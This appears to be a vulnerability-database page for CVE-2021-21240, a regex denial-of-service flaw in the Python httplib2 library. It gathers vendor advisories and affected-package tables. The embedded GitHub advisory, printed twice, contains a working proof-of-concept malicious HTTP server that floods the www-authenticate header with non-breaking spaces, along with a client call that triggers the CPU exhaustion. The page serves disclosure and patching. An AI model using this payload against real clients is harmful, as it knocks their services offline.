Every CVE Search/ Get API key

CVE-2021-21240

Regular Expression Denial of Service in httplib2

7.5 HighFix available

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

3.67%Up 2.4 points since Apr 14, 2021
90%50%10%1%

What each source reports

CVE List Score used 7.5

Regular Expression Denial of Service in httplib2

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
CVE-2021-21240
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2021-0098 7.5

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
EUVD-2021-0098
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-93xj-8mrv-444m 7.7

Regular Expression Denial of Service (REDoS) in httplib2

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

Record
GHSA-93xj-8mrv-444m
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD 7.5

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
CVE-2021-21240
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-400
Updated
2026-11-02
OSVALPINE-CVE-2021-21240 7.5

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
ALPINE-CVE-2021-21240
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-03
OSV 7.5

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
CVE-2021-21240
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 18 moreShow less
OSVDEBIAN-CVE-2021-21240 7.5

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
DEBIAN-CVE-2021-21240
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVGHSA-93xj-8mrv-444m 7.7

Regular Expression Denial of Service (REDoS) in httplib2

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

Record
GHSA-93xj-8mrv-444m
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSVOESA-2021-1126 7.5

python-httplib2 security update

httplib2 is a comprehensive HTTP client library, httplib2.py supports many features left out of other HTTP libraries.

Security Fix(es):

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.(CVE-2021-21240)

Record
OESA-2021-1126
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVRHSA-2021:2116 7.5

Red Hat Security Advisory: Red Hat OpenStack Platform 16.1.6 (python-httplib2) security update

Record
RHSA-2021:2116
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2021-21240 7.5

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
UBUNTU-CVE-2021-21240
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVMGASA-2021-0122 No score

Updated python-httplib2 packages fix a security vulnerability

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server (CVE-2021-21240).

Record
MGASA-2021-0122
Updated
2026-11-02
OSVopenSUSE-SU-2021:0772-1 No score

Security update for python-httplib2

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

  • CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

Record
openSUSE-SU-2021:0772-1
Updated
2026-11-02
OSVopenSUSE-SU-2021:0796-1 No score

Security update for python-httplib2

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

  • CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

Record
openSUSE-SU-2021:0796-1
Updated
2026-11-02
OSVopenSUSE-SU-2021:1806-1 No score

Security update for python-httplib2

This update for python-httplib2 fixes the following issues:

  • Update to version 0.19.0 (bsc#1182053).
  • CVE-2021-21240: Fixed regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed unescaped part of uri where an attacker could change request headers and body (bsc#1182053).
Record
openSUSE-SU-2021:1806-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:11231-1 No score

python36-httplib2-0.19.1-1.2 on GA media

These are all security issues fixed in the python36-httplib2-0.19.1-1.2 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:11231-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:14141-1 No score

python310-httplib2-0.22.0-4.5 on GA media

These are all security issues fixed in the python310-httplib2-0.22.0-4.5 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:14141-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11203-1 No score

python313-httplib2-0.32.0-1.1 on GA media

These are all security issues fixed in the python313-httplib2-0.32.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11203-1
Updated
2026-11-02
OSVPYSEC-2021-16 No score

httplib2 is a comprehensive HTTP client library for Python. In httplib2 before version 0.19.0, a malicious server which responds with long series of "\xa0" characters in the "www-authenticate" header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. This is fixed in version 0.19.0 which contains a new implementation of auth headers parsing using the pyparsing library.

Record
PYSEC-2021-16
Updated
2026-11-02
OSVSUSE-SU-2021:1637-1 No score

Security update for python-httplib2

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

  • CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

Record
SUSE-SU-2021:1637-1
Updated
2026-11-02
OSVSUSE-SU-2021:1779-1 No score

Security update for python-httplib2

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

  • CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

Record
SUSE-SU-2021:1779-1
Updated
2026-11-02
OSVSUSE-SU-2021:1806-1 No score

Security update for python-httplib2

This update for python-httplib2 fixes the following issues:

  • Update to version 0.19.0 (bsc#1182053).
  • CVE-2021-21240: Fixed regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed unescaped part of uri where an attacker could change request headers and body (bsc#1182053).
Record
SUSE-SU-2021:1806-1
Updated
2026-11-02
OSVSUSE-SU-2021:1807-1 No score

Security update for python-httplib2

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

  • CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non-security fixes included in this update:

Record
SUSE-SU-2021:1807-1
Updated
2026-11-02
OSVSUSE-SU-2021:1808-1 No score

Security update for python-httplib2

This update for python-httplib2 contains the following fixes:

Security fixes included in this update:

  • CVE-2021-21240: Fixed a regular expression denial of service via malicious header (bsc#1182053).
  • CVE-2020-11078: Fixed an issue where an attacker could change request headers and body (bsc#1171998).

Non security fixes included in this update:

Record
SUSE-SU-2021:1808-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
httplib2
PyPI
before 0.19.0
0.19.0
py3-httplib2
Alpine:v3.14
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.15
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.16
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.17
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.18
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.19
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.20
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.21
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.22
before 0.19.0-r0
0.19.0-r0
Show 36 moreShow less
Affected packages
PackageAffectedFixed
py3-httplib2
Alpine:v3.23
before 0.19.0-r0
0.19.0-r0
py3-httplib2
Alpine:v3.24
before 0.19.0-r0
0.19.0-r0
python-httplib2
Debian:12
before 0.20.2-1
0.20.2-1
python-httplib2
Debian:13
before 0.20.2-1
0.20.2-1
python-httplib2
Debian:14
before 0.20.2-1
0.20.2-1
httplib2
PyPI
before 0.19.0, plus listed versions
0.10.30.11.00.11.10.11.30.12.0
Show 26 moreShow less
0.12.10.12.30.13.00.13.10.14.00.15.00.16.00.17.00.17.10.17.20.17.30.17.40.18.00.18.10.7.00.7.10.7.20.7.30.7.40.7.50.7.60.7.70.80.90.9.10.9.2
0.19.0
python-httplib2
Mageia:7
before 0.19.0-1.mga7
0.19.0-1.mga7
python-httplib2
Mageia:8
before 0.19.0-1.mga8
0.19.0-1.mga8
python-httplib2
openEuler:20.03-LTS
before 0.19.0-1.oe1
0.19.0-1.oe1
python-httplib2
openEuler:20.03-LTS-SP1
before 0.19.0-1.oe1
0.19.0-1.oe1
httplib2
PyPI
before 0.19.0, plus listed versions
0.7.00.7.10.7.20.7.30.7.4
Show 26 moreShow less
0.7.50.7.60.7.70.80.90.9.10.9.20.10.30.11.00.11.10.11.30.12.00.12.10.12.30.13.00.13.10.14.00.15.00.16.00.17.00.17.10.17.20.17.30.17.40.18.00.18.1
0.19.0
python-httplib2
Red Hat:openstack:16.1::el8
From an advisory covering 2 CVEs
before 0:0.13.1-2.el8ost
0:0.13.1-2.el8ost
python3-httplib2
Red Hat:openstack:16.1::el8
From an advisory covering 2 CVEs
before 0:0.13.1-2.el8ost
0:0.13.1-2.el8ost
python-httplib2
SUSE:Linux Enterprise Module for Public Cloud 15
From an advisory covering 2 CVEs
before 0.19.0-1.8.1
0.19.0-1.8.1
python-httplib2
SUSE:OpenStack Cloud 9
From an advisory covering 2 CVEs
before 0.19.0-8.3.4
0.19.0-8.3.4
python-httplib2
SUSE:OpenStack Cloud Crowbar 9
From an advisory covering 2 CVEs
before 0.19.0-8.3.4
0.19.0-8.3.4
python-httplib2
SUSE:Linux Enterprise Module for Basesystem 15 SP2
From an advisory covering 2 CVEs
before 0.19.0-3.3.1
0.19.0-3.3.1
python-httplib2
SUSE:Linux Enterprise Module for Basesystem 15 SP3
From an advisory covering 2 CVEs
before 0.19.0-3.3.1
0.19.0-3.3.1
python-httplib2
SUSE:Linux Enterprise Module for Package Hub 15 SP2
From an advisory covering 2 CVEs
before 0.19.0-3.3.1
0.19.0-3.3.1
python-httplib2
SUSE:Linux Enterprise Module for Package Hub 15 SP3
From an advisory covering 2 CVEs
before 0.19.0-3.3.1
0.19.0-3.3.1
python-httplib2
SUSE:OpenStack Cloud 7
From an advisory covering 2 CVEs
before 0.19.0-7.7.1
0.19.0-7.7.1
python-httplib2
SUSE:Linux Enterprise Module for Public Cloud 12
From an advisory covering 2 CVEs
before 0.19.0-7.7.1
0.19.0-7.7.1
python-httplib2
SUSE:HPE Helion OpenStack 8
From an advisory covering 2 CVEs
before 0.19.0-7.3.1
0.19.0-7.3.1
python-httplib2
SUSE:OpenStack Cloud 8
From an advisory covering 2 CVEs
before 0.19.0-7.3.1
0.19.0-7.3.1
python-httplib2
SUSE:OpenStack Cloud Crowbar 8
From an advisory covering 2 CVEs
before 0.19.0-7.3.1
0.19.0-7.3.1
python-httplib2
Ubuntu:14.04:LTS
All versions, plus listed versions
0.8-20.8-2build1
None known
python-httplib2
Ubuntu:16.04:LTS
All versions, plus listed versions
0.9+dfsg-20.9.1+dfsg-1
None known
python-httplib2
Ubuntu:18.04:LTS
All versions, plus listed versions
0.9.2+dfsg-10.9.2+dfsg-1ubuntu0.10.9.2+dfsg-1ubuntu0.20.9.2+dfsg-1ubuntu0.3
None known
python-httplib2
Ubuntu:20.04:LTS
All versions, plus listed versions
0.11.3-20.11.3-2build10.14.0-10.14.0-1ubuntu1
None known
python-httplib2
Ubuntu:22.04:LTS
All versions, plus listed versions
0.18.1-3ubuntu10.20.2-20.20.2-2ubuntu0.1
None known
python-httplib2
openSUSE:Leap 15.2
From an advisory covering 2 CVEs
before 0.19.0-lp152.6.3.1
0.19.0-lp152.6.3.1
python-httplib2
SUSE:Package Hub 15 SP2
From an advisory covering 2 CVEs
before 0.19.0-bp152.3.3.1
0.19.0-bp152.3.3.1
python-httplib2
openSUSE:Leap 15.3
From an advisory covering 2 CVEs
before 0.19.0-3.3.1
0.19.0-3.3.1
python-httplib2
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 0.19.1-1.2
0.19.1-1.2
python-httplib2
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 0.22.0-4.5
0.22.0-4.5
python-httplib2
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 0.32.0-1.1
0.32.0-1.1

History

History
RecordedChangedSources
affected, facts
affected, aliases, referencesOSV
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-21240 is a high vulnerability (CVSS 7.5) in Httplib2, published February 8, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 3.67%, the 89th percentile. Fixed in httplib2 0.19.0.

References

Show 31 moreShow less
This page doesn't list everything

Left out here: the rest of 6 source descriptions. The JSON record has them.

MoveEnter Open